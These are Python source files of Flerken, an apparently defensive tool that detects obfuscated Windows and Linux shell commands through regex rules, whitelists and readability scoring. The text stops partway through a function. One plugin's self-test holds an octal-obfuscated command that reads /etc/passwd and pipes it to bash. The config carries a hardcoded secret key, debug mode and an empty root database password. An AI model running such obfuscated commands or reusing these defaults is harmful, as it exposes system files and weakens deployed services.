#!/usr/bin/python # -*-coding:utf-8-*- __author__ = 'Yao Zhang & Zhiyang Zeng' __copyright__ = "Copyright 2019, Apache License 2.0" import sys import os sys.path.append('../flerken/control') from smart_detect import smart_detect LINUX_SAMPLE_PATH = 'samples/linux.txt' WIN_SAMPLE_PATH = 'samples/win.txt' OUTPUT_PATH = 'output' def win_sample_test(): total = 0 obfus = 0 with open(os.path.join(OUTPUT_PATH,'win_res.txt'),'w') as fo: #read sample file with open(WIN_SAMPLE_PATH) as fs: for cmd in fs.readlines(): total = total + 1 smart = smart_detect(cmd) res = smart.not_sure_identify() if res['obfuscated'] == True and res['likely_platform'] == 'windows': obfus = obfus + 1 fo.write('[windows obfuscated]: '+cmd+'\n') elif res['obfuscated'] == True and res['likely_platform'] == 'linux': fo.write('[wrong platform detected]: '+cmd+'\n') else: fo.write('[not obfuscated detected]: '+cmd+'\n') print("windows coverage rate is "+str(round((obfus/total),5)*100)+'%') def linux_sample_test(): total = 0 obfus = 0 with open(os.path.join(OUTPUT_PATH,'linux_res.txt'),'w') as fo: #read sample file with open(LINUX_SAMPLE_PATH) as fs: for cmd in fs.readlines(): total = total + 1 smart = smart_detect(cmd) res = smart.not_sure_identify() if res['obfuscated'] == True and res['likely_platform'] == 'linux': obfus = obfus + 1 fo.write('[linux obfuscated]: '+cmd+'\n') elif res['obfuscated'] == True and res['likely_platform'] == 'windows': fo.write('[wrong platform detected]: '+cmd+'\n') else: fo.write('[not obfuscated detected]: '+cmd+'\n') print("linux coverage rate is "+str(round((obfus/total),5)*100)+'%') if '__main__' == __name__: print(''' ________________ ______ ___ ____/___ /_____ ___________ /_______ _______ __ /_ __ / _ _ \__ ___/__ //_/_ _ \__ __ \\ _ __/ _ / / __/_ / _ ,< / __/_ / / / /_/ /_/ \___/ /_/ /_/|_| \___/ /_/ /_/ Flerken Coverage Test Tool, All Your Obfuscations Are Belong To Us! ''') print("[+]Checking windows samples, please waiting...") win_sample_test() print("[+]Checking linux samples, please waiting...") linux_sample_test() --- FILE SEPARATOR --- #!/usr/bin/python # -*-coding:utf-8-*- """ Init Flerken App """ __author__ = 'Yao Zhang & Zhiyang Zeng' __copyright__ = "Copyright 2019, Apache License 2.0" from flask import Flask from flask_wtf.csrf import CSRFProtect from flask_limiter import Limiter from flask_limiter.util import get_remote_address from .config.global_config import APP_CONFIG import logging app = Flask(__name__) CSRFProtect(app) app.debug = APP_CONFIG['DEBUG'] app.secret_key = APP_CONFIG['SECRET_KEY'] if APP_CONFIG['QPS_LIMIT'] == True: limiter = Limiter( app, key_func=get_remote_address, default_limits=APP_CONFIG['LIMIT_SETTING'], ) # log file config handler = logging.FileHandler(APP_CONFIG['LOG_FILE'], encoding='UTF-8') logging_format = logging.Formatter( '%(asctime)s - %(levelname)s - %(filename)s - %(funcName)s - %(lineno)s - %(message)s') handler.setFormatter(logging_format) app.logger.addHandler(handler) import flerken.landing import flerken.detection --- FILE SEPARATOR --- #!/usr/bin/python # -*-coding:utf-8-*- """ config """ __author__ = 'Yao Zhang & Zhiyang Zeng' __copyright__ = "Copyright 2019, Apache License 2.0" APP_CONFIG = { "HOST": "127.0.0.1", "PORT": 8081, "DEBUG": True, #debug mode "SECRET_KEY": "awesomeflerken*", "QPS_LIMIT": True, "LIMIT_SETTING": ["200 per minute", "5 per second"], "LOG_FILE": "flerken.log" } DB_CONFIG = { 0: { "host": "127.0.0.1", "port": "3306", "user": "root", "password": "", "database": "flerken", 'charset': 'utf8', 'DB_DEBUG': True, # Please set this field to 'False' when your website going online 'autocommit': True } } --- FILE SEPARATOR --- #!/usr/bin/python # -*-coding:utf-8-*- # Path:plugins/custom_meta_chars_plugin.py """ This module filters unexpected chars in command """ __author__ = 'Yao Zhang & Zhiyang Zeng' __copyright__ = "Copyright 2019, Apache License 2.0" import re import json import os class custom_meta_chars_plugin(object): def __init__(self, cmd): self.cmd = cmd self.rules = self._load_rules() self.result = self._check() def _load_rules(self): try: with open(os.path.join(os.getcwd(),'flerken/config/rules/meta_chars.json')) as f: rules = json.loads(f.read()) return rules except Exception: with open(os.path.join(os.getcwd(),'../flerken/config/rules/meta_chars.json')) as f: rules = json.loads(f.read()) return rules def _check(self): pattern_valid = re.compile(self.rules['meta_chars']) cmd = pattern_valid.sub("",self.cmd) return cmd if __name__ == '__main__': #test sample1 = 'ddd121323213*&^&%$$")({}[]' print('input cmd: '+sample1) a = custom_meta_chars_plugin(sample1).result print('out: '+str(a)) sample2 = 'vcvddd12132fgfdgfdgfd3213*&^&%$$")3(e3wqre{rrewr}[]' print('input cmd: '+sample2) b = custom_meta_chars_plugin(sample2).result print('out: '+str(b)) --- FILE SEPARATOR --- #!/usr/bin/python # -*-coding:utf-8-*- # Path:plugins/linux_generic_detect_plugin.py """ This module detects linux generic obfuscation commands """ __author__ = 'Yao Zhang & Zhiyang Zeng' __copyright__ = "Copyright 2019, Apache License 2.0" import warnings import re import os,sys import json from .linux_generic_filter_plugin import linux_generic_filter_plugin class linux_generic_detect_plugin(object): def __init__(self, cmd): self.cmd = cmd #OBFUSCATED TYPE STORAGE self.__TYPE_LIST = [] self.result = self._detect_obfuscation() def _load_generic_rules(self, type): try: with open(os.path.join(os.getcwd(),'flerken/config/rules/linux_rule.json')) as f: self.rules = json.loads(f.read())['generic'][type] return self.rules except Exception: with open(os.path.join(os.getcwd(),'../flerken/config/rules/linux_rule.json')) as f: self.rules = json.loads(f.read())['generic'][type] return self.rules def _prepare_pattern(self, regex): """ Strip out key:value pairs from the pattern and compile the regular expression. """ try: return re.compile(regex) except re.error as e: warnings.warn( "Caught '{error}' compiling regex: {regex}" .format(error=e, regex=regex) ) return re.compile(r'(?!x)x') def _check(self, type): flag = -1 for r in range(0,len(self.rules)): regex_compiled = self._prepare_pattern(self.rules[str(r)]['regex']) if 'length' in self.rules[str(r)].keys(): if self.rules[str(r)]['condition'] == '<': if regex_compiled.search(self.cmd) != None and len(self.cmd) < self.rules[str(r)]['length']: flag = r continue else: break if self.rules[str(r)]['condition'] == '>': if regex_compiled.search(self.cmd) != None and len(self.cmd) > self.rules[str(r)]['length']: flag = r continue else: break if self.rules[str(r)]['condition'] == '<=': if regex_compiled.search(self.cmd) != None and len(self.cmd) <= self.rules[str(r)]['length']: flag = r continue else: break if self.rules[str(r)]['condition'] == '>=': if regex_compiled.search(self.cmd) != None and len(self.cmd) >= self.rules[str(r)]['length']: flag = r continue else: break if self.rules[str(r)]['condition'] == '=': if regex_compiled.search(self.cmd) != None and len(self.cmd) == self.rules[str(r)]['length']: flag = r continue else: break else: if regex_compiled.search(self.cmd) != None: flag = r continue else: break if flag == len(self.rules) -1: self.__TYPE_LIST.append(type) def _varible_name_score(self): score=0 pattern = self._load_generic_rules('varible_name_score')["0"]['regex'] try: pattern_str = re.compile(pattern) result_str = pattern_str.findall(self.cmd) result_str = list(set(result_str)) for string_ele in result_str: if len(string_ele)>0: pattern_repeat = re.compile(r'%s' %string_ele) target_str = pattern_repeat.findall(self.cmd) if len(target_str)>1: score += 1 if score > 1: score = 1 else: score = 0 return score except Exception as e: print(e) def _varible_name_check(self): vn_rules = self._load_generic_rules('varible_name') vn_rules_compiled = dict() for rule in vn_rules: vn_rules_compiled[int(rule)] = self._prepare_pattern(vn_rules[rule]['regex']) if vn_rules_compiled[0].search(self.cmd) != None: if self._varible_name_score() == 1: if vn_rules_compiled[1].search(self.cmd) != None: if linux_generic_filter_plugin(self.cmd,'varible_name').result == False: if len(self.cmd) < 1000: self.__TYPE_LIST.append('varible_name') def _detect_obfuscation(self): type_list = ["echo_type", "sub_syntax", "special_calc", "ifs", "offset_ctl", "escape_char", "reverse_char", "base64", "rot13_char", "octal_code", "hex_or_unicode", "wildcard"] for type in type_list: if linux_generic_filter_plugin(self.cmd,type).result == False: self._load_generic_rules(type) self._check(type) self._varible_name_check() if len(self.__TYPE_LIST) > 0: return {"obfuscated": True, "reason": "linux.obfus.generic"} else: return {"obfuscated": False, "reason": ""} if __name__ == '__main__': #test sample = "echo $'\\143\\141\\164\\040\\057\\145\\164\\143\\057\\160\\141\\163\\163\\167\\144' | bash" print('input cmd: '+sample) linux_generic_detect_plugin(sample)._detect_obfuscation() --- FILE SEPARATOR --- #!/usr/bin/python # -*-coding:utf-8-*- # Path:plugins/linux_generic_filter_plugin.py """ This module filters linux generic obfuscation commands """ __author__ = 'Yao Zhang & Zhiyang Zeng' __copyright__ = "Copyright 2019, Apache License 2.0" import re import json import os class linux_generic_filter_plugin(object): def __init__(self,cmd, type): self.cmd = cmd self.type = type self.whitelists = self._load_generic_whitelists() self.result = self._check() def _load_generic_whitelists(self): try: with open(os.path.join(os.getcwd(),'flerken/config/whitelists/linux_whitelist.json')) as f: whitelists = json.loads(f.read())['generic'][self.type] return whitelists except Exception: with open(os.path.join(os.getcwd(),'../flerken/config/whitelists/linux_whitelist.json')) as f: whitelists = json.loads(f.read())['generic'][self.type] return whitelists def _prepare_pattern(self, regex): """ Strip out key:value pairs from the pattern and compile the regular expression. """ try: return re.compile(regex) except re.error as e: warnings.warn( "Caught '{error}' compiling regex: {regex}" .format(error=e, regex=regex) ) return re.compile(r'(?!x)x') def _check(self): for wl in range(0,len(self.whitelists)): regex_compiled = self._prepare_pattern(self.whitelists[str(wl)]['regex']) if 'length' in self.whitelists[str(wl)].keys(): if self.whitelists[str(wl)]['condition'] == '<': if regex_compiled.search(self.cmd) != None and len(self.cmd) < self.whitelists[str(wl)]['length']: return True break else: continue if self.whitelists[str(wl)]['condition'] == '>': if regex_compiled.search(self.cmd) != None and len(self.cmd) > self.whitelists[str(wl)]['length']: return True break else: continue if self.whitelists[str(wl)]['condition'] == '<=': if regex_compiled.search(self.cmd) != None and len(self.cmd) <= self.whitelists[str(wl)]['length']: return True break else: continue if self.whitelists[str(wl)]['condition'] == '>=': if regex_compiled.search(self.cmd) != None and len(self.cmd) >= self.whitelists[str(wl)]['length']: return True break else: continue if self.whitelists[str(wl)]['condition'] == '=': if regex_compiled.search(self.cmd) != None and len(self.cmd) == self.whitelists[str(wl)]['length']: return True break else: continue else: if regex_compiled.search(self.cmd) != None: return True break else: continue return False if __name__ == '__main__': #test sample = '$(echo 3)' print('input cmd: '+sample) print(linux_generic_filter_plugin(sample,"echo_type").result) --- FILE SEPARATOR --- #!/usr/bin/python # -*-coding:utf-8-*- # Path:plugins/linux_graphic_detect_plugin.py """ This module detects linux graphic obfuscation commands """ __author__ = 'Yao Zhang & Zhiyang Zeng' __copyright__ = "Copyright 2019, Apache License 2.0" import re import json import os class linux_graphic_detect_plugin(object): def __init__(self, cmd): self.cmd = cmd self.result = self._detect_obfuscation() def _load_graphic_rule(self): try: with open(os.path.join(os.getcwd(),'flerken/config/rules/linux_rule.json')) as f: self.rule = json.loads(f.read())['graphic'] return self.rule except Exception: with open(os.path.join(os.getcwd(),'../flerken/config/rules/linux_rule.json')) as f: self.rule = json.loads(f.read())['graphic'] return self.rule def _prepare_pattern(self, regex): """ Strip out key:value pairs from the pattern and compile the regular expression. """ try: return re.compile(regex) except re.error as e: warnings.warn( "Caught '{error}' compiling regex: {regex}" .format(error=e, regex=regex) ) return re.compile(r'(?!x)x') def _check(self): self._load_graphic_rule() rule_compiled = self._prepare_pattern(self.rule['regex']) if rule_compiled.search(self.cmd) == False: return False else: return True def _underline_rate(self): underline_cnt = (self.cmd).count("_") total_cnt = len(self.cmd) if total_cnt == 0: total_cnt = 1 rate = underline_cnt/total_cnt if rate > 0.6: return True else: return False def _detect_obfuscation(self): check = self._check() rate = self._underline_rate() if check == True and rate == True: return {"obfuscated": True, "reason": "linux.obfus.graphic"} else: return {"obfuscated": False, "reason": ""} --- FILE SEPARATOR --- #!/usr/bin/python # -*-coding:utf-8-*- # Path:plugins/linux_special_detect_plugin.py __author__ = 'Yao Zhang & Zhiyang Zeng' __copyright__ = "Copyright 2019, Apache License 2.0" import re import json import os import warnings class linux_special_detect_plugin(object): def __init__(self, cmd): self.cmd = cmd self.result = self._detect_obfuscation() def _load_special_rules(self, type): try: with open(os.path.join(os.getcwd(),'flerken/config/rules/linux_rule.json')) as f: rule = json.loads(f.read())['special'][type] return rule except Exception: with open(os.path.join(os.getcwd(),'../flerken/config/rules/linux_rule.json')) as f: rule = json.loads(f.read())['special'][type] return rule def _prepare_pattern(self, regex): """ Strip out key:value pairs from the pattern and compile the regular expression. """ try: return re.compile(regex) except re.error as e: warnings.warn( "Caught '{error}' compiling regex: {regex}" .format(error=e, regex=regex) ) return re.compile(r'(?!x)x') def _check_symbol_varible_name(self): svn_rule = self._load_special_rules('symbol_varible_name') svn_rule_compiled = self._prepare_pattern(svn_rule['regex']) list = svn_rule_compiled.findall(self.cmd) if len(list) >= 2: return True else: return False def _check_string_manipulation(self): sm_rule = self._load_special_rules('string_manipulation') sm_rule_compiled = self._prepare_pattern(sm_rule['regex']) res = sm_rule_compiled.search(self.cmd) if res != None: return True else: return False def _check_file_io(self): fi_rules = self._load_special_rules('file_io') fi_rules_compiled = dict() for rule in fi_rules: fi_rules_compiled[int(rule)] = self._prepare_pattern(fi_rules[rule]['regex']) #print(fi_rules_compiled[0]) if fi_rules_compiled[0].search(self.cmd) == None: return False else: variable_name = fi_rules_compiled[0].search(self.cmd).group(5) if fi_rules_compiled[1].search(self.cmd) != None and fi_rules_compiled[2].search(self.cmd) != None: return True elif fi_rules_compiled[3].search(self.cmd) != None: return True else: return False def _detect_obfuscation(self): symbol_varible_name_check = self._check_symbol_varible_name() string_manipulation_check = self._check_string_manipulation() file_io_check = self._check_file_io() if symbol_varible_name_check == True or string_manipulation_check == True or file_io_check == True: return {"obfuscated": True, "reason": "linux.obfus.special"} else: return {"obfuscated": False, "reason": ""} --- FILE SEPARATOR --- #!/usr/bin/python # -*-coding:utf-8-*- # Path:plugins/win_generic_detect_plugin.py """ This module detects obfuscation commands with the following four features: - Readability - Ratio of special chars - Long strings with numbers - Ratio of Spaces """ __author__ = 'Yao Zhang & Zhiyang Zeng' __copyright__ = "Copyright 2019, Apache License 2.0" import os import re import json import warnings from .win_generic_filter_plugin import win_generic_filter_plugin class win_generic_detect_plugin(object): def __init__(self, cmd): self.cmd = cmd self.result = self._detect_obfuscation() def _load_generic_rules(self, type): try: with open(os.path.join(os.getcwd(),'flerken/config/rules/win_rule.json')) as f: rules = json.loads(f.read())['generic'][type] return rules except Exception: with open(os.path.join(os.getcwd(),'../flerken/config/rules/win_rule.json')) as f: rules = json.loads(f.read())['generic'][type] return rules def _check(self): # Calculate the ratio of special chars and spaces ratio_special = 0 ratio_space = 0 cmd_list = list(filter(lambda x: x.isalnum(),str(self.cmd))) cmd_new = "".join(cmd_list) cmd_nospace = str(self.cmd).replace(" ","") # squeeze out all the spaces # We ignore space if there are more than 10 spaces included. Also alert when there are too many spaces. if len(self.cmd) - len(cmd_nospace) > 10: # Here consider a compensation of 10 spaces cmd_new = cmd_new + " " cmd_nospace = cmd_nospace + " " ratio_space = (len(self.cmd)-len(cmd_nospace)+10)/float(len(self.cmd)) # Calculate the ratio of spaces if len(self.cmd) != 0: ratio_special = (len(cmd_nospace) - len(cmd_new)) / float(len(cmd_nospace)) else: # When there are not too many spaces. We do not ignore spaces. cmd_list = filter(lambda x: x.isalnum(), str(self.cmd).replace(" ","a")) cmd_new = "".join(cmd_list) if len(self.cmd) != 0: ratio_special = (len(self.cmd) - len(cmd_new)) / float(len(self.cmd)) # Calculate the ratio of unreadable chars ratio_unchar = 0 cmd_list = filter(lambda x: x.isalnum(),str(self.cmd)) cmd_new = "".join(cmd_list) cmd_nospace = str(self.cmd).replace(" ","") # squeeze out all the spaces cmd_unchar_list = filter(lambda x: x.isalnum(), str(self.cmd).replace("`","a").replace("~","a").replace("!","a").replace("@","a").replace("#","a").replace("$","a").replace("%","a").replace("^","a").replace("&","a").replace("*","a").replace("+","a").replace(",","a").replace(";","a").replace("\"","a").replace("'","a").replace("{","a").replace("}","a")) cmd_unchar = "".join(cmd_unchar_list) if len(self.cmd) - len(cmd_nospace) > 10: # Here consider a compensation of 10 spaces cmd_nospace = cmd_nospace + " " if (len(cmd_nospace)-len(cmd_new)) != 0: ratio_unchar = (len(cmd_unchar) - len(cmd_new)) / float(len(cmd_nospace)-len(cmd_new)) else: if (len(self.cmd)-len(cmd_new)) != 0: ratio_unchar = (len(cmd_unchar)-len(cmd_new)) / float(len(self.cmd)-len(cmd_new)) # Calculate the number of words that are composed of alphabets pattern = re.compile(r'[a-zA-Z]+') result = pattern.findall(self.cmd) ctr_total = len(result) if ctr_total == 0: ctr_total = 1 # Avoid ctr divide by 0 in the following code ctr = 0 # Define a limited whitelist that are considered as readable words whitelist = [] # add this list on demand for word in result: if len(word) > 10: # (1) Long word case ctr += 1 else: pattern_vowels = re.compile(r'[a|A|e|E|i|I|o|O|u|U]') result_vowels = pattern_vowels.findall(word) #print result_vowels ratio = len(result_vowels)/float(len(word)) #print ratio if ratio > 0.8 or ratio < 0.4: # (2) Define a suitable vowel letter ratio interval if word.lower() not in whitelist: ctr += 1 else: pattern_repeat = re.compile(r'(.)\1{4}') # (3) Repetition case. Find out the repeat of an alphabet for more than n times result_repeat = pattern_repeat.findall(word) if len(result_repeat) >= 1: ctr += 1 else: #(4) Uncommon capital case. pattern_case = re.compile(r'[A-Z]') pattern_first = re.compile(r'[a-z]') result_case = pattern_case.findall(word) case_ratio = len(result_case)/float(len(word)) if case_ratio >= 0.6 and case_ratio != 1: ctr += 1 #print word #print case_ratio elif case_ratio > 0 and re.match(pattern_first,word): ctr += 1 ratio_unread = ctr / float(ctr_total); #Calc the ratio of unreadable words. long_cmd_rules = self._load_generic_rules('long_cmd') shorter_cmd_rules = self._load_generic_rules('shorter_cmd') shortest_cmd_rules = self._load_generic_rules('shortest_cmd') if len(self.cmd) > long_cmd_rules['length']: # long cmd case if ratio_space > long_cmd_rules['condition']["0"]["ratio_space"]: return True elif ratio_special > long_cmd_rules['condition']["1"]["ratio_special"] and ratio_unread > long_cmd_rules['condition']["1"]["ratio_unread"]: return True elif ratio_unchar > long_cmd_rules['condition']["2"]["ratio_unchar"] and ratio_unread > long_cmd_rules['condition']["2"]["ratio_unread"]: return True elif ratio_unchar > long_cmd_rules['condition']["3"]["ratio_unchar"] and ratio_unread > long_cmd_rules['condition']["3"]["ratio_unread"]: return True elif ratio_special > long_cmd_rules['condition']["4"]["ratio_special"] and ratio_unread > long_cmd_rules['condition']["4"]["ratio_unread"]: return True elif len(self.cmd) > long_cmd_rules['condition']["5"]["length"]: return True else: ws = long_cmd_rules['ws'] # The weight of special chars wc = long_cmd_rules['wc'] # The weight of unreadable chars wu = long_cmd_rules['wu'] # The weight of unreadable words score = ratio_special * ws + ratio_unchar * wc + ratio_unread * wu #+ ratio_str * wl #Calc the final score. if score > 0.2: return True else: return False elif len(self.cmd) >= shorter_cmd_rules['length']: # shorter cmd case if ratio_special > shorter_cmd_rules['condition']["0"]["ratio_special"] and ratio_unread > shorter_cmd_rules['condition']["0"]["ratio_unread"]: return True elif ratio_unchar > shorter_cmd_rules['condition']["1"]["ratio_unchar"] and ratio_unread > shorter_cmd_rules['condition']["1"]["ratio_unread"]: return True elif ratio_unchar > shorter_cmd_rules['condition']["2"]["ratio_unchar"] and ratio_unread > shorter_cmd_rules['condition']["2"]["ratio_unread"]: return True elif ratio_special > shorter_cmd_rules['condition']["3"]["ratio_special"] and ratio_unread > shorter_cmd_rules['condition']["3"]["ratio_unread"]: return True else: w_s = shorter_cmd_rules['ws'] # The weight of special chars w_c = shorter_cmd_rules['wc'] # The weight of unreadable chars w_u = shorter_cmd_rules['wu'] # The weight of unreadable words score = ratio_special * w_s + ratio_unchar * w_c + ratio_unread * w_u #+ ratio_str * w_l #Calc the final score. if score > 0.2: return True else: return False elif len(self.cmd) > shortest_cmd_rules['length']: # shortest cmd case if ratio_special > shortest_cmd_rules["condition"]["0"]["ratio_special"] and ratio_unread > shortest_cmd_rules["condition"]["0"]["ratio_unread"]: return True elif ratio_unchar > shortest_cmd_rules["condition"]["1"]["ratio_unchar"] and ratio_unread > shortest_cmd_rules["condition"]["1"]["ratio_unread"]: return True elif ratio_unchar > shortest_cmd_rules["condition"]["2"]["ratio_unchar"] and ratio_unread > shortest_cmd_rules["condition"]["2"]["ratio_unread"]: return True elif ratio_special > shortest_cmd_rules["condition"]["3"]["ratio_special"] and ratio_unread > shortest_cmd_rules["condition"]["3"]["ratio_unread"]: return True else: w_ss = shortest_cmd_rules["ws"] # The weight of special chars w_cc = shortest_cmd_rules['wc'] # The weight of unreadable chars w_uu = shortest_cmd_rules['wu'] # The weight of unreadable words score = ratio_special * w_ss + ratio_unchar * w_cc + ratio_unread * w_uu #Calc the final score. if score > 0.2: return True else: return False else: return False def _detect_obfuscation(self): if win_generic_filter_plugin(self.cmd).result == False: check = self._check() if check == True: return {"obfuscated": True, "reason": "windows.obfus.generic"} else: return {"obfuscated": False, "reason": ""} else: return {"obfuscated": False, "reason": ""} if __name__ == '__main__': sample = '' print('sample command:\n'+sample+'\n') a = win_generic_detect_plugin(cmd) a._detect_obfuscation() --- FILE SEPARATOR --- #!/usr/bin/python # -*-coding:utf-8-*- # Path:plugins/win_special_detect_plugin.py """ This module detects windows special obfuscation commands """ __author__ = 'Yao Zhang & Zhiyang Zeng' __copyright__ = "Copyright 2019, Apache License 2.0" import sys, os import json import socket import traceback from math import log import time import re import string from .win_special_filter_plugin import win_special_filter_plugin class win_special_detect_plugin(): def __init__(self, cmd): self.cmd = cmd self.result = self._detect_obfuscation() def _load_special_rules(self): try: with open(os.path.join(os.getcwd(),'flerken/config/rules/win_rule.json')) as f: rules = json.loads(f.read())['special'] return rules except Exception: with open(os.path.join(os.getcwd(),'../flerken/config/rules/win_rule.json')) as f: rules = json.loads(f.read())['special'] return rules def _check(self): # Calculate the long strings with numbers pattern_str = re.compile(r'[a-zA-Z0-9]+[a-zA-Z0-9|\+|\/]*[\=]*') result_str = pattern_str.findall(self.cmd) cmd1="This is a good apple" for string in result_str: if len(string) >= len(cmd1): cmd1 = string self.cmd = cmd1 # Calculate the number of words that are composed of alphabets pattern = re.compile(r'[a-zA-Z]+') result = pattern.findall(self.cmd) ctr_total = len(result) if ctr_total == 0: ctr_total = 1 # Avoid ctr divide by 0 in the following code ctr = 0 # Define a limited whitelist that are considered as readable words whitelist = [] for word in result: if len(word) > 2019: # (1) Long word case ctr += 1 else: pattern_vowels = re.compile(r'[a|A|e|E|i|I|o|O|u|U]') result_vowels = pattern_vowels.findall(word) #print result_vowels ratio = len(result_vowels)/float(len(word)) #print ratio if ratio > 0.87 or ratio < 0.42: # (2) Vowel case if word.lower() not in whitelist: ctr += 1 else: pattern_repeat = re.compile(r'(.)\1{4}') # (3) Repetition case. Find out the repeat of an alphabet for more than n times result_repeat = pattern_repeat.findall(word) if len(result_repeat) >= 1: ctr += 1 else: #(4) Uncommon capital case. pattern_case = re.compile(r'[A-Z]') pattern_first = re.compile(r'[a-z]') result_case = pattern_case.findall(word) case_ratio = len(result_case)/float(len(word)) if case_ratio >= 0.66 and case_ratio != 1: ctr += 1 elif case_ratio > 0 and re.match(pattern_first,word): ctr += 1 ratio_unread = ctr / float(ctr_total); #Calc the ratio of unreadable words. special_rules = self._load_special_rules() if len(self.cmd) > special_rules['length']: if ratio_unread > special_rules['condition']["0"]["ratio_unread"]: return True else: return False else: return False def _detect_obfuscation(self): if win_special_filter_plugin(self.cmd).result == False: check = self._check() if check == True: return {"obfuscated": True, "reason": "windows.obfus.special"} else: return {"obfuscated": False, "reason": ""} else: return {"obfuscated": False, "reason": ""} if __name__ == '__main__': #test sample = 'CMD.exe HU5IGBNJM4GUGSHLHSDDS6DESQ87WE4QKLJSQIUHKNJ98HKLHJKS==' print('sample command:\n'+sample+'\n') a = win_special_detect_plugin(sample)._detect_obfuscation() print(a) --- FILE SEPARATOR --- #!/usr/bin/python # -*-coding:utf-8-*- # Path:plugins/win_special_filter_plugin.py """ This module filters windows special obfuscation commands """ __author__ = 'Yao Zhang & Zhiyang Zeng' __copyright__ = "Copyright 2019, Apache License 2.0" import re import json import os class win_special_filter_plugin(object): def __init__(self,cmd): self.cmd = cmd self.result = self._check() def _load_special_whitelists(self, type): try: with open(os.path.join(os.getcwd(),'flerken/config/whitelists/win_whitelist.json')) as f: whitelists = json.loads(f.read())['special'][type] return whitelists except Exception: with open(os.path.join(os.getcwd(),'../flerken/config/whitelists/win_whitelist.json')) as f: rules = json.loads(f.read())['special'][type] return rules def _prepare_pattern(self, regex): """ Strip out key:value pairs from the pattern and compile the regular expression. """ try: return re.compile(regex, re.I) except re.error as e: warnings.warn( "Caught '{error}' compiling regex: {regex}" .format(error=e, regex=regex) ) return re.compile(r'(?!x)x') def _unit_check(self,type): self.whitelists = self._load_special_whitelists(type) for wl in range(0,len(self.whitelists)): regex_compiled = self._prepare_pattern(self.whitelists[str(wl)]['regex']) if 'length' in self.whitelists[str(wl)].keys(): if self.whitelists[str(wl)]['condition'] == '<': if regex_compiled.search(self.cmd) != None and len(self.cmd) < self.whitelists[str(wl)]['length']: return True break else: continue if self.whitelists[str(wl)]['condition'] == '>': if regex_compiled.search(self.cmd) != None and len(self.cmd) > self.whitelists[str(wl)]['length']: return True break else: continue if self.whitelists[str(wl)]['condition'] == '<=': if regex_compiled.search(self.cmd) != None and len(self.cmd) <= self.whitelists[str(wl)]['length']: return True break else: continue if self.whitelists[str(wl)]['condition'] == '>=': if regex_compiled.search(self.cmd) != None and len(self.cmd) >= self.whitelists[str(wl)]['length']: return True break else: continue if self.whitelists[str(wl)]['condition'] == '=': if regex_compiled.search(self.cmd) != None and len(self.cmd) == self.whitelists[str(wl)]['length']: return True break else: continue else: if regex_compiled.search(self.cmd) != None: return True break else: continue return False def _comm_cmd_check(self): regex_dict = self._load_special_whitelists('comm_cmd') regex_compile = dict() for key in regex_dict: regex_compile[int(key)] = self._prepare_pattern(regex_dict[key]['regex']) #filter logic start if regex_compile[0].search(self.cmd) != None and regex_compile[-1].search(self.cmd) == None: return True elif regex_compile[1].search(self.cmd) != None and regex_compile[-1].search(self.cmd) == None: return True elif regex_compile[2].search(self.cmd) != None and regex_compile[-1].search(self.cmd) == None: return True return False def _check(self): flag = 0 type_list=['normal_win_process', 'popular_software'] for type in type_list: check = self._unit_check(type) if check == True: flag = -1 break else: continue if flag == -1: return False else: comm_cmd_res = self._comm_cmd_check() if comm_cmd_res == False: return False else: return True if __name__ == '__main__': #test sample = 'winAgentSC.exe >' print('input cmd: '+sample) a = win_special_filter_plugin(sample) out = a._check() print('out: '+str(out)) --- FILE SEPARATOR --- #!/usr/bin/python # -*-coding:utf-8-*- """ Flerken smart detect logic """ __author__ = 'Yao Zhang & Zhiyang Zeng' __copyright__ = "Copyright 2019, Apache License 2.0" import sys import os import hashlib import time from datetime import datetime import re from flerken import app try: from .plugins.linux_generic_detect_plugin import linux_generic_detect_plugin except Exception: from plugins.linux_generic_detect_plugin import linux_generic_detect_plugin try: from .plugins.win_special_detect_plugin import win_special_detect_plugin except Exception: from plugins.win_special_detect_plugin import win_special_detect_plugin try: from .plugins.win_generic_detect_plugin import win_generic_detect_plugin except Exception: from plugins.win_generic_detect_plugin import win_generic_detect_plugin try: from .plugins.custom_meta_chars_plugin import custom_meta_chars_plugin except Exception: from plugins.custom_meta_chars_plugin import custom_meta_chars_plugin try: from .plugins.linux_special_detect_plugin import linux_special_detect_plugin except Exception: from plugins.linux_special_detect_plugin import linux_special_detect_plugin try: from .plugins.linux_graphic_detect_plugin import linux_graphic_detect_plugin except Exception: from plugins.linux_graphic_detect_plugin import linux_graphic_detect_plugin class smart_detect(object): def __init__(self,cmd): app.logger.info('='*50) app.logger.info('[+]time: '+datetime.now().strftime("%Y-%m-%d %H:%M:%S")) self.original_cmd = cmd app.logger.info('[+]original cmd: '+self.original_cmd) self.cmd = custom_meta_chars_plugin(cmd).result app.logger.info('[+]meta cmd: '+self.cmd) self.start_time = time.time() def _prepare_pattern(self, regex): """ Strip out key:value pairs from the pattern and compile the regular expression. """ try: return re.compile(regex, re.I) except re.error as e: warnings.warn( "Caught '{error}' compiling regex: {regex}" .format(error=e, regex=regex) ) return re.compile(r'(?!x)x') def _hash_calc(self): sha256 = hashlib.sha256() sha256.update((self.cmd).encode('UTF8')) return sha256.hexdigest() def linux_identify(self): linux_identification_generic = linux_generic_detect_plugin(self.cmd).result linux_identification_graphic = linux_graphic_detect_plugin(self.cmd).result linux_identification_special = linux_special_detect_plugin(self.cmd).result app.logger.info('[+]linux_identification_generic: '+str(linux_identification_generic)) app.logger.info('[+]linux_identification_graphic: '+str(linux_identification_graphic)) app.logger.info('[+]linux_identification_special: '+str(linux_identification_special)) if linux_identification_graphic['obfuscated'] == True: self.end_time = time.time() linux_identification_graphic['measure_time'] = str(round(self.end_time - self.start_time,5)) + 's' linux_identification_graphic['hash'] = 'sha256: ' + self._hash_calc() linux_identification_graphic['platform'] = 'linux' linux_identification_graphic['cmd'] = self.original_cmd linux_identification_graphic['res'] = 0 return linux_identification_graphic elif linux_identification_graphic['obfuscated'] == False and linux_identification_special['obfuscated'] == True: self.end_time = time.time() linux_identification_special['measure_time'] = str(round(self.end_time - self.start_time,5)) + 's' linux_identification_special['hash'] = 'sha256: ' + self._hash_calc() linux_identification_special['platform'] = 'linux' linux_identification_special['cmd'] = self.original_cmd linux_identification_special['res'] = 0 return linux_identification_special else: self.end_time = time.time() linux_identification_generic['measure_time'] = str(round(self.end_time - self.start_time,5)) + 's' linux_identification_generic['hash'] = 'sha256: ' + self._hash_calc() linux_identification_generic['platform'] = 'linux' linux_identification_generic['cmd'] = self.original_cmd linux_identification_generic['res'] = 0 return linux_identification_generic def win_identify(self): if len(self.cmd) <= 20: app.logger.info('[+]win_identify cmd length < 20') win_identification = dict() 